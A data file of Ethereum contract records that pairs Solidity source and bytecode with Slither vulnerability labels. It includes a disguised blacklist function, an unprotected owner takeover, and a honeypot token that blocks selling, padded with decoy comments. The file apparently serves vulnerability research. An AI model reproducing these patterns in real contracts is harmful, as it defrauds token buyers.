"ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } function increaseMaxWallets(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x60806040526004361061012e5760003560e01c806370a08231116100ab5780639a024c1a1161006f5780639a024c1a14610350578063a9059cbb14610370578063bfd7928414610390578063d49b55d6146103c0578063dd62ed3e146103d5578063e8078d941461041b57600080fd5b806370a0823114610298578063715018a6146102ce5780637d1db4a5146102e35780638da5cb5b146102f957806395d89b411461032157600080fd5b80633d8705ab116100f25780633d8705ab1461020c5780633e7175c5146102235780634a1316721461024357806350e6a5c914610258578063583ccfa41461027857600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d0578063313ce567146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b2cb0b6b1b430902a37b5b2b760a11b60208201525b6040516101789190611451565b60405180910390f35b34801561018d57600080fd5b506101a161019c3660046114cb565b610430565b6040519015158152602001610178565b3480156101bd57600080fd5b506006545b604051908152602001610178565b3480156101dc57600080fd5b506101a16101eb3660046114f7565b610447565b3480156101fc57600080fd5b5060405160128152602001610178565b34801561021857600080fd5b506102216104b0565b005b34801561022f57600080fd5b5061022161023e366004611538565b6104bd565b34801561024f57600080fd5b50610221610503565b34801561026457600080fd5b50610221610273366004611538565b61079d565b34801561028457600080fd5b50610221610293366004611567565b6107da565b3480156102a457600080fd5b506101c26102b336600461162c565b6001600160a01b031660009081526002602052604090205490565b3480156102da57600080fd5b50610221610870565b3480156102ef57600080fd5b506101c2600a5481565b34801561030557600080fd5b506000546040516001600160a01b039091168152602001610178565b34801561032d57600080fd5b5060408051808201909152600681526559414d43484160d01b602082015261016b565b34801561035c57600080fd5b5061022161036b366004611538565b6108e4565b34801561037c57600080fd5b506101a161038b3660046114cb565b610921565b34801561039c57600080fd5b506101a16103ab36600461162c565b60056020526000908152604090205460ff1681565b3480156103cc57600080fd5b5061022161092e565b3480156103e157600080fd5b506101c26103f0366004611649565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561042757600080fd5b50610221610947565b600061043d338484610aaa565b5060015b92915050565b6000610454848484610bce565b6104a684336104a18560405180606001604052806028815260200161184d602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611011565b610aaa565b5060019392505050565b476104ba8161104b565b50565b6000546001600160a01b031633146104f05760405162461bcd60e51b81526004016104e790611682565b60405180910390fd5b60075481116104fe57600080fd5b600755565b6000546001600160a01b0316331461052d5760405162461bcd60e51b81526004016104e790611682565b600c54600160a01b900460ff16156105875760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e7565b600b546006546105a49130916001600160a01b0390911690610aaa565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061b91906116b7565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a191906116b7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071291906116b7565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610779573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ba91906116d4565b6000546001600160a01b031633146107c75760405162461bcd60e51b81526004016104e790611682565b600a5481116107d557600080fd5b600a55565b6000546001600160a01b031633146108045760405162461bcd60e51b81526004016104e790611682565b60005b815181101561086c57600160056000848481518110610828576108286116f6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061086481611722565b915050610807565b5050565b6000546001600160a01b0316331461089a5760405162461bcd60e51b81526004016104e790611682565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461090e5760405162461bcd60e51b81526004016104e790611682565b600854811061091c57600080fd5b600855565b600061043d338484610bce565b306000908152600260205260409020546104ba81611085565b6000546001600160a01b031633146109715760405162461bcd60e51b81526004016104e790611682565b600b546001600160a01b031663f305d71947306109a3816001600160a01b031660009081526002602052604090205490565b6000806109b86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a45919061173d565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610aa383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111ff565b9392505050565b6001600160a01b038316610b0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e7565b6001600160a01b038216610b6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e7565b6001600160a01b038216610c945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e7565b60008111610cf65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e7565b6000546001600160a01b03848116911614801590610d2257506000546001600160a01b03838116911614155b15610fb057600c546001600160a01b038481169116148015610d525750600b546001600160a01b03838116911614155b8015610d7757506001600160a01b03821660009081526004602052604090205460ff16155b15610dce57600a54811115610dce5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016104e7565b6001600160a01b03831660009081526005602052604090205460ff16158015610e1057506001600160a01b03821660009081526005602052604090205460ff16155b610e5c5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c6973746564000000000060448201526064016104e7565b600c546001600160a01b03838116911614801590610e9357506001600160a01b03821660009081526004602052604090205460ff16155b8015610eb857506001600160a01b03831660009081526004602052604090205460ff16155b15610f385760075481610ee0846001600160a01b031660009081526002602052604090205490565b610eea919061176b565b1115610f385760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016104e7565b30600090815260026020526040902054600c54600160a81b900460ff16158015610f705750600c546001600160a01b03858116911614155b8015610f855750600c54600160b01b900460ff165b15610fae57610f9381611085565b47670de0b6b3a76400008110610fac57610fac4761104b565b505b505b6001600160a01b03821660009081526004602052604090205461100c9084908490849060ff1680610ff957506001600160a01b03871660009081526004602052604090205460ff165b6110055760085461122d565b600061122d565b505050565b600081848411156110355760405162461bcd60e51b81526004016104e79190611451565b5060006110428486611783565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561086c573d6000803e3d6000fd5b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cd576110cd6116f6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a91906116b7565b8160018151811061115d5761115d6116f6565b6001600160a01b039283166020918202929092010152600b546111839130911684610aaa565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bc90859060009086903090429060040161179a565b600060405180830381600087803b1580156111d657600080fd5b505af11580156111ea573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600081836112205760405162461bcd60e51b81526004016104e79190611451565b506000611042848661180b565b6000611244606461123e8585611331565b90610a61565b9050600061125284836113b0565b6001600160a01b03871660009081526002602052604090205490915061127890856113b0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112a790826113f2565b6001600160a01b0386166000908152600260205260408082209290925530815220546112d390836113f2565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261134057506000610441565b600061134c838561182d565b905082611359858361180b565b14610aa35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e7565b6000610aa383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611011565b6000806113ff838561176b565b905083811015610aa35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e7565b600060208083528351808285015260005b8181101561147e57858101830151858201604001528201611462565b81811115611490576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104ba57600080fd5b80356114c6816114a6565b919050565b600080604083850312156114de57600080fd5b82356114e9816114a6565b946020939093013593505050565b60008060006060848603121561150c57600080fd5b8335611517816114a6565b92506020840135611527816114a6565b929592945050506040919091013590565b60006020828403121561154a57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561157a57600080fd5b823567ffffffffffffffff8082111561159257600080fd5b818501915085601f8301126115a657600080fd5b8135818111156115b8576115b8611551565b8060051b604051601f19603f830116810181811085821117156115dd576115dd611551565b6040529182528482019250838101850191888311156115fb57600080fd5b938501935b8285101561162057611611856114bb565b84529385019392850192611600565b98975050505050505050565b60006020828403121561163e57600080fd5b8135610aa3816114a6565b6000806040838503121561165c57600080fd5b8235611667816114a6565b91506020830135611677816114a6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116c957600080fd5b8151610aa3816114a6565b6000602082840312156116e657600080fd5b81518015158114610aa357600080fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156117365761173661170c565b5060010190565b60008060006060848603121561175257600080fd5b8351925060208401519150604084015190509250925092565b6000821982111561177e5761177e61170c565b500190565b6000828210156117955761179561170c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117ea5784516001600160a01b0316835293830193918301916001016117c5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261182857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118475761184761170c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205542327b47a098866182eb837fd97dc22b08eda35cc20aae9e59e3afae51f5da64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,345
0x736fcb9221bc56a76116981d010d17a320d7ca73
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate) { require(_endTime >= _startTime); require(_rate > 0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(msg.value >= 0.5 ether); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract zHQPreSale is Crowdsale, Ownable { // number of participants in the SelfPay Pre-Sale uint256 public numberOfPurchasers = 0; //Who bought for how much mapping(address => uint256) bought; // Total zHQ uint256 public zHQNumber = 0; // Ensure the gold level bonus can only be used once bool public goldLevelBonusIsUsed = false; address dev; address public owner; function zHQPreSale() Crowdsale(1506837600, 1606837600, 300) public { // As goal needs to be met for a successful crowdsale the value needs to be less // than or equal than a cap which is limit for accepted funds owner = msg.sender; dev = msg.sender; } //Need to update sale params after publish because of UI bug //TODO: maybe get this reviewed by Josh function configSale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap) public { startTime = _startTime; endTime = _endTime; rate = _rate; owner = msg.sender; } //Refund when something goes wrong function refund(address _buyer, uint _weiAmount) onlyOwner public { if(msg.sender == owner) { if(bought[_buyer] > 0) { _buyer.send(_weiAmount); bought[_buyer] = bought[_buyer] - _weiAmount; } } } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(msg.value >= 0.5 ether); uint256 weiAmount = msg.value; bought[beneficiary] += weiAmount; // Calculate the number of tokens uint256 tokens = weiAmount.mul(rate); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); // update state weiRaised = weiRaised.add(weiAmount); numberOfPurchasers = numberOfPurchasers + 1; zHQNumber = zHQNumber.add(tokens); } //end of sale withdrawl //don&#39;t keep our junk on blockchain function withdraw() public { if(msg.sender == dev) { selfdestruct(msg.sender); } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20Basic, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract zHQToken is MintableToken { string public constant name = "zHQ Token"; string public constant symbol = "zHQ"; uint256 public decimals = 18; /** * @dev Allows anyone to transfer the zHQ Token tokens once trading has started * @param _to the recipient address of the tokens. * @param _value number of tokens to be transfered. */ function transfer(address _to, uint _value) public returns (bool){ return super.transfer(_to, _value); } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,346
0xe1c687adecf9b7d1f84edfa2b6c9aae92c43a825
/** *Submitted for verification at Etherscan.io on */ //SPDX-License-Identifier: UNLICENSED //To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. /* */ /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ /** * @dev Returns the amount of tokens in existence. */ pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "TITSINU"; name = "Tits Inu"; decimals = 9; _totalSupply = 1000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff